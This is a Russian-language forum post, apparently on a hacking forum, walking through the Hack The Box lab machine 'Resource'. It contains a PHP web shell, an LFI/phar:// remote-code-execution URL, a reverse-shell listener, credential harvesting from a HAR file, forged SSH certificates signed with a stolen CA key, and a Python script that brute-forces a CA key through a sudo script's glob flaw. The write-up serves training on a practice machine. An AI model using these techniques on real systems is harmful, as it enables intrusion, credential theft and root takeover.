• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Разбираемся с SSH-авторизацией по сертификату

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,166
Розыгрыши
0
Реакции
508
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как, получив корневой сертификат, подписать SSH-ключ и повысить привилегии. При эскалации привилегий проэксплуатируем уязвимость в пользовательском скрипте на Bash. Но первым делом нам понадобится атаковать сайт — мы получим удаленное выполнение кода через связку LFI и PHAR upload.
Наша цель — получение прав суперпользователя на машине Resource с учебной площадки Hack The Box. Уровень сложности задания — средний.


Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:


10.10.11.27 resource.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).


Результат работы скрипта


Сканер нашел три открытых порта:

  • 22 — служба OpenSSH 9.2p1;
  • 80 — веб‑сервер Nginx 1.18.0;
  • 2222 — служба OpenSSH 8.9p1.
На порте 80 выполняется редирект на адрес Для просмотра ссылки Войди или Зарегистрируйся, поэтому обновим запись в файле /etc/hosts, а затем просмотрим сайт через браузер.

10.10.11.27 resource.htb itrc.ssg.htb
Главная страница сайта

Точка входа​

На сайте есть возможность регистрации и авторизации. Сделаем это, так как авторизованному пользователю обычно доступно больше функций, а значит, и точек для атаки будет больше.



Главная страница авторизованного пользователя


На странице dashboard есть возможность заводить тикеты и загружать ZIP-архивы. Так как на сайте индекс‑файл представлен в формате PHP, попробуем найти другие PHP-файлы. Для этого будем использовать утилиту Для просмотра ссылки Войди или Зарегистрируйся.

Справка: сканирование веба c feroxbuster​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
  • -u — URL;
  • -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся);
  • -t — количество потоков;
  • -d — глубина сканирования.
Задаем все параметры и запускаем сканирование:

feroxbuster -u http://itrc.ssg.htb/ -w php_files_common_5476.txt -x php -d 1 -t 128


Результат сканирования файлов с помощью feroxbuster


Находим много новых интересных файлов. Что примечательно, среди них присутствует dashboard.php, а мы получали доступ к странице через index.php?page=dashboard. Видимо, к параметру page автоматически добавляется расширение php. Попробуем таким же образом просмотреть страницу admin.php.

Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
Содержимое страницы admin


Получаем содержимое страницы и пробуем тем же способом просмотреть и другие. При обращении к /api/login.php видим ошибку, раскрывающую путь к файлам на сервере.



Ошибка при загрузке /api/login.php

Точка опоры​

Перейдем к созданию тикета. Во вложении загрузим рандомный ZIP-архив.

Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
Создание тикета


Тикет появится в общем списке. По кнопке Open просмотрим его содержимое.

Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
Список тикетов

Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
Информация о тикете


Нам доступен для скачивания загруженный тестовый архив. По ссылке видно, что он хранится в каталоге uploads с измененным именем.

Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
Ссылка на архив


Это значит, что у нас есть возможность эксплуатировать LFI, но работает она только для файлов PHP, а также мы знаем, куда сохраняются ZIP-архивы. Можем попробовать реализовать следующий сценарий: на сервер загрузим архив с шеллом на PHP, а затем обратимся через LFI к файлу внутри архива через путь phar://.

Заархивируем файл shell.php, загрузим архив на сервер и получим путь к нему на сервере.

<?php system($_GET['cmd']); ?>


Загруженный архив


Осталось обратиться к шеллу и в качестве теста выполнить команду id.

http://itrc.ssg.htb/?page=phar://uploads/450373bf3fff7e53023e6b2736add325cd51e3bb.zip/shell&cmd=id
Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
Результат выполнения команды id


Команда выполнена, а значит, у нас есть RCE. Запускаем листенер pwncat-cs -lp 4321 и выполняем реверс‑шелл.



Сессия пользователя www-data

Побег из Docker​


Пользователь msainristil​

На хосте развернуто веб‑приложение, и оно наверняка использует базу данных. В таких случаях в базе можно найти учетные данные для сайта, которые могут пригодиться для дальнейшего проникновения. Данные для подключения к самой базе обычно находятся в коде или настройках веб‑приложения.

В данном случае учетку для базы находим в файле db.php.

Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
Содержимое файла db.php


Использовать этот пароль нигде не получилось, поэтому осмотримся на сервере. Помимо загруженных нами архивов, в каталоге uploads можно найти и вложения к тикетам других пользователей. Скачиваем их на свою машину для анализа.

Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
Загрузка архивов из каталога uploads


Два архива содержат публичные ключи SSH, а в оставшемся находим файл HAR.



Содержимое архивов


В файлах HAR фиксируются разные неполадки браузера, такие как неудачные входы и проблемы с отображением веб‑страниц. Сразу же ищем в файле строки вроде user, pass, token. И находим учетные данные, сохраненные в открытом виде.

Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
Содержимое файла HAR


С полученными учетными данными подключаемся по SSH от имени пользователя msainristil.



Пользователь msainristil

Пользователь root​

В домашнем каталоге пользователя root есть каталог decommission_old_ca с ключами центра сертификации.



Содержимое каталога decommission_old_ca


Закрытый ключ центра сертификации ca-itrc используется для подписи сертификатов, публичный ключ ca-itrc.pub — для проверки подписи сертификатов. Мы можем использовать закрытый ключ центра сертификации для создания и подписи SSH-сертификата для любого логина. С помощью созданного сертификата можно будет получить доступ по SSH от имени пользователя с указанным в сертификате логином.

Первым делом сгенерируем пару SSH-ключей.

ssh-keygen -t rsa -b 2048 -f ralf
Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
Генерация пары SSH-ключей


Теперь с помощью ключей центра сертификации на основе публичного SSH-ключа ralf.pub сделаем сертификат SSH для логина root. Сразу можно проверить новый сертификат ralf-cert.pub.

ssh-keygen -s ca-itrc -I ca-itrc.pub -n root ralf.pub


Создание SSH-сертификата


ssh-keygen -Lf ralf-cert.pub
Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
Информация из сертификата


Со сгенерированным SSH-сертификатом и закрытым ключом пользователя получаем доступ от имени root.

ssh -o CertificateFile=ralf-cert.pub -i ralf root@localhost


Флаг пользователя

Пользователь support​

В домашнем каталоге пользователя zzinter есть скрипт sign_key_api.sh.

Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
Содержимое домашнего каталога пользователя


Проанализируем его. Скрипт принимает в качестве параметров публичный ключ, имя пользователя и принципал, возможные значения которого можно увидеть в справке (help).

В последней строке при помощи утилиты curl выполняется запрос по адресу signserv.ssg.htb/v1/sign, в котором передаются указанные пользователем данные.

Содержимое файла sign_key_api.sh

Добавим новый адрес в файл /etc/hosts.

10.10.11.27 resource.htb itrc.ssg.htb signserv.ssg.htb ssg.htb
Теперь создадим пару ключей SSH, после чего выполним запрос к серверу, где передадим ключ, а также имя и принципал support. В ответ получаем сертификат SSH.

Код:
ssh-keygen -t rsa -b 2048 -f support

curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "ssh-rsa AAAAB3.....", "username": "support", "principals": "support"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

Получение сертификата

С помощью полученного сертификата и сгенерированного ранее приватного ключа SSH подключаемся к серверу от имени support.

ssh -o CertificateFile=support-cert.pub -i support support@ssg.htb -p 2222


Сессия пользователя support

Продвижение​

Давай заглянем в конфиг SSH и просмотрим принципалы для разных пользователей в каталоге /etc/ssh/auth_principals.



Содержимое каталога auth_principals


Нас интересует пользователь zzinter. Его принципал записан в соответствующий файл.



Принципал пользователя zzinter


Заново выполняем запрос, чтобы получить SSH-сертификат, но уже для пользователя zzinter с принципалом zzinter_temp, и подключаемся к серверу.

Код:
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "ssh-rsa AAAAB3.....", "username": "zzinter", "principals": "zzinter_temp"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

ssh -o CertificateFile=zzinter-cert.pub -i support zzinter@ssg.htb -p 2222



Сессия пользователя zzinter

Локальное повышение привилегий​

Нам нужно повысить привилегии в системе. В Linux есть множество мест, которые можно проверить с этой целью, но одно из самых очевидных — настройки sudoers. Посмотрим их:

sudo -l


Настройки sudoers


Справка: sudoers​

Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.
Судя по записи в sudoers, мы можем выполнить скрипт /opt/sign_key.sh от имени пользователя root без ввода пароля. Просмотрим исходный код.



Содержимое файла /opt/sign_key.sh


Скрипт принимает в качестве параметров сертификат, публичный ключ для подписи, имя пользователя, его принципал и серийник. Обрати внимание, что если сертификат совпадает с сертификатом центра сертификации /etc/ssh/ca-it, то скрипт вернет ошибку «Use API for signing with this CA».

При таком сравнении содержимого переданного сертификата и сертификата CA мы можем использовать символ *, который будет означать «любое количество любых символов». А значит, мы сможем посимвольно подобрать содержимое сертификата CA. Для автоматизации используем следующий скрипт.

Код:
import subprocess


chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=- \n"
ssh_key = ""


while True:
    for c in chars:
        key = ssh_key + str(c) + "*"
        with open("rkey", "w") as f:
            f.write(key)


        p = subprocess.run( f"sudo /opt/sign_key.sh rkey root.pub root root 123", shell=True, stdout=subprocess.PIPE, text=True )
        if 'Use API for signing with this CA' in p.stdout:
            ssh_key += c
            print(ssh_key)
            break
    else:
        break


print(ssh_key)


Результат работы скрипта.


Спустя несколько минут мы получаем сертификат центра сертификации и теперь можем использовать его для подписи SSH-ключа рута. Но для этого нам нужен принципал для учетки root.



Принципал root


Теперь подписываем публичный ключ, подключаемся по SSH и читаем флаг рута.

Код:
ssh-keygen -t rsa -b 2048 -f root
ssh-keygen -s rkey -I root -V -1w:forever -n root_user -z 123 root.pub



Подпись ключа


ssh root@localhost -p 2222 -i root

Флаг рута.

Машина захвачена!
 
Activity
So far there's no one here